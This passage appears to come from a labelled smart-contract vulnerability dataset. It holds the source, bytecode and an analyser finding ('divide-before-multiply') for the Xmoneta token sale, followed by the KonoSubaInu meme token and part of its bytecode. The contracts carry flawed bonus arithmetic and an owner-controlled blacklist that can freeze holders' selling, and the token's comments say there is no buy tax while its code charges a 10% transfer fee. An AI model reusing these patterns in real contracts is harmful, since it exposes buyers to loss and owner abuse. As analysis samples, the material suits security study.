ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /* *********************************** */ /* ********** Xmoneta Token ********** */ /* *********************************** */ /** * @title XmonetaToken * @author Xmoneta.com * * ERC20 Compatible token * Zeppelin Solidity - v1.5.0 */ contract XmonetaToken is StandardToken, Claimable { /* ********** Token Predefined Information ********** */ string public constant name = "Xmoneta Token"; string public constant symbol = "XMN"; uint256 public constant decimals = 18; /* ********** Defined Variables ********** */ // Total tokens supply 1 000 000 000 // For ethereum wallets we added decimals constant uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** decimals); // Vault where tokens are stored address public vault = msg.sender; // Sales agent who has permissions to manipulate with tokens address public salesAgent; /* ********** Events ********** */ event SalesAgentAppointed(address indexed previousSalesAgent, address indexed newSalesAgent); event SalesAgentRemoved(address indexed currentSalesAgent); event Burn(uint256 valueToBurn); /* ********** Functions ********** */ // Contract constructor function XmonetaToken() public { owner = msg.sender; totalSupply = INITIAL_SUPPLY; balances[vault] = totalSupply; } // Appoint sales agent of token function setSalesAgent(address newSalesAgent) onlyOwner public { SalesAgentAppointed(salesAgent, newSalesAgent); salesAgent = newSalesAgent; } // Remove sales agent from token function removeSalesAgent() onlyOwner public { SalesAgentRemoved(salesAgent); salesAgent = address(0); } // Transfer tokens from vault to account if sales agent is correct function transferTokensFromVault(address fromAddress, address toAddress, uint256 tokensAmount) public { require(salesAgent == msg.sender); balances[vault] = balances[vault].sub(tokensAmount); balances[toAddress] = balances[toAddress].add(tokensAmount); Transfer(fromAddress, toAddress, tokensAmount); } // Allow the owner to burn a specific amount of tokens from the vault function burn(uint256 valueToBurn) onlyOwner public { require(valueToBurn > 0); balances[vault] = balances[vault].sub(valueToBurn); totalSupply = totalSupply.sub(valueToBurn); Burn(valueToBurn); } } /* ************************************** */ /* ************ Xmoneta Sale ************ */ /* ************************************** */ /** * @title XmonetaSale * @author Xmoneta.com * * Zeppelin Solidity - v1.5.0 */ contract XmonetaSale { using SafeMath for uint256; /* ********** Defined Variables ********** */ // The token being sold XmonetaToken public token; // Crowdsale start timestamp - 03/13/2018 at 12:00pm (UTC) uint256 public startTime = 1520942400; // Crowdsale end timestamp - 05/31/2018 at 12:00pm (UTC) uint256 public endTime = 1527768000; // Addresses where ETH are collected address public wallet1 = 0x36A3c000f8a3dC37FCD261D1844efAF851F81556; address public wallet2 = 0x8beDBE45Aa345938d70388E381E2B6199A15B3C3; // How many token per wei uint256 public rate = 20000; // Cap in ethers uint256 public cap = 8000 * 1 ether; // Amount of raised wei uint256 public weiRaised; // Round B start timestamp - 05/04/2018 at 12:00pm (UTC) uint256 public round_b_begin_date = 1522929600; // Round B start timestamp - 30/04/2018 at 12:00pm (UTC) uint256 public round_c_begin_date = 1525089600; /* ********** Events ********** */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 weiAmount, uint256 tokens); /* ********** Functions ********** */ // Contract constructor function XmonetaSale() public { token = XmonetaToken(0x99705A8B60d0fE21A4B8ee54DB361B3C573D18bb); } // Fallback function to buy tokens function () public payable { buyTokens(msg.sender); } // Bonus calculation for transaction function bonus_calculation() internal returns (uint256, uint256) { // Round A Standard bonus & Extra bonus uint256 bonusPercent = 30; uint256 extraBonusPercent = 50; if (now >= round_c_begin_date) { // Round C Standard bonus & Extra bonus bonusPercent = 10; extraBonusPercent = 30; } else if (now >= round_b_begin_date) { // Round B Standard bonus & Extra bonus bonusPercent = 20; extraBonusPercent = 40; } return (bonusPercent, extraBonusPercent); } // Token purchase function function buyTokens(address beneficiary) public payable { require(validPurchase()); uint256 weiAmount = msg.value; // Send spare wei back if investor sent more that cap uint256 tempWeiRaised = weiRaised.add(weiAmount); if (tempWeiRaised > cap) { uint256 spareWeis = tempWeiRaised.sub(cap); weiAmount = weiAmount.sub(spareWeis); beneficiary.transfer(spareWeis); } // Define standard and extra bonus variables uint256 bonusPercent; uint256 extraBonusPercent; // Execute calculation (bonusPercent, extraBonusPercent) = bonus_calculation(); // Accept extra bonus if beneficiary send more that 1 ETH if (weiAmount >= 1 ether) { bonusPercent = extraBonusPercent; } // Token calculations with bonus uint256 additionalPercentInWei = rate.div(100).mul(bonusPercent); uint256 rateWithPercents = rate.add(additionalPercentInWei); // Calculate token amount to be sold uint256 tokens = weiAmount.mul(rateWithPercents); // Update state weiRaised = weiRaised.add(weiAmount); // Tranfer tokens from vault token.transferTokensFromVault(msg.sender, beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(weiAmount); } // Send wei to the fund collection wallets function forwardFunds(uint256 weiAmount) internal { uint256 value = weiAmount.div(2); // If buyer send amount of wei that can not be divided to 2 without float point, send all weis to first wallet if (value.mul(2) != weiAmount) { wallet1.transfer(weiAmount); } else { wallet1.transfer(value); wallet2.transfer(value); } } // Validate if the transaction can be success function validPurchase() internal constant returns (bool) { bool withinCap = weiRaised < cap; bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase && withinCap; } // Show if crowdsale has ended or no function hasEnded() public constant returns (bool) { return now > endTime || weiRaised >= cap; } }
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630b8d0a28146100c55780631a026c961461011a5780632c4e722e1461016f5780633197cbb614610198578063355274ea146101c15780634042b66f146101ea57806378e979251461021357806381cd30a81461023c578063d554ba8614610265578063ec8ac4d81461028e578063ecb70fb7146102bc578063fc0c546a146102e9575b6100c33361033e565b005b34156100d057600080fd5b6100d861060c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012557600080fd5b61012d610632565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561017a57600080fd5b610182610658565b6040518082815260200191505060405180910390f35b34156101a357600080fd5b6101ab61065e565b6040518082815260200191505060405180910390f35b34156101cc57600080fd5b6101d4610664565b6040518082815260200191505060405180910390f35b34156101f557600080fd5b6101fd61066a565b6040518082815260200191505060405180910390f35b341561021e57600080fd5b610226610670565b6040518082815260200191505060405180910390f35b341561024757600080fd5b61024f610676565b6040518082815260200191505060405180910390f35b341561027057600080fd5b61027861067c565b6040518082815260200191505060405180910390f35b6102ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061033e565b005b34156102c757600080fd5b6102cf610682565b604051808215151515815260200191505060405180910390f35b34156102f457600080fd5b6102fc61069d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000806000806000806000806103526106c2565b151561035d57600080fd5b3497506103758860075461070990919063ffffffff16565b96506006548711156103ee576103966006548861072790919063ffffffff16565b95506103ab868961072790919063ffffffff16565b97508873ffffffffffffffffffffffffffffffffffffffff166108fc879081150290604051600060405180830381858888f1935050505015156103ed57600080fd5b5b6103f6610740565b8095508196505050670de0b6b3a764000088101515610413578394505b61043b8561042d606460055461078790919063ffffffff16565b6107a290919063ffffffff16565b92506104528360055461070990919063ffffffff16565b915061046782896107a290919063ffffffff16565b905061047e8860075461070990919063ffffffff16565b6007819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634d6804c2338b846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b151561057b57600080fd5b5af1151561058857600080fd5b5050508873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188a84604051808381526020018281526020019250505060405180910390a3610601886107dd565b505050505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60025481565b60065481565b60075481565b60015481565b60095481565b60085481565b6000600254421180610698575060065460075410155b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060065460075410925060015442101580156106e557506002544211155b9150600034141590508180156106f85750805b80156107015750825b935050505090565b600080828401905083811015151561071d57fe5b8091505092915050565b600082821115151561073557fe5b818303905092915050565b600080600080601e9150603290506009544210151561076657600a9150601e905061077b565b6008544210151561077a5760149150602890505b5b81819350935050509091565b600080828481151561079557fe5b0490508091505092915050565b60008060008414156107b757600091506107d6565b82840290508284828115156107c857fe5b041415156107d257fe5b8091505b5092915050565b60006107f360028361078790919063ffffffff16565b90508161080a6002836107a290919063ffffffff16565b14151561087857600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561087357600080fd5b61093d565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156108da57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561093c57600080fd5b5b50505600a165627a7a7230582032a222e236418739ab85e9003aa440b3733c6294fbea434b5787cfdb4be184cb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,871
0x218c87c896f23c62a30785885c93e15db2581949
/** *Submitted for verification at Etherscan.io on 2021-10-15 */ /** *Submitted */ /** * Telegram: https://t.me/KonoSubaInu * KonoSuba official Waifus - * No buy Tax, only Sell for marketing & rewards * Join our website: https://konosubainu.com */ /** */ /** * */ /** * */ /** * */ /** */ /** * */ /** */ pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KonoSubaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "KonoSubaInu"; string private constant _symbol = "KonoSubaInu"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 1; _teamFee = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 1; _teamFee = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600b81526020017f4b6f6e6f53756261496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f4b6f6e6f53756261496e75000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffff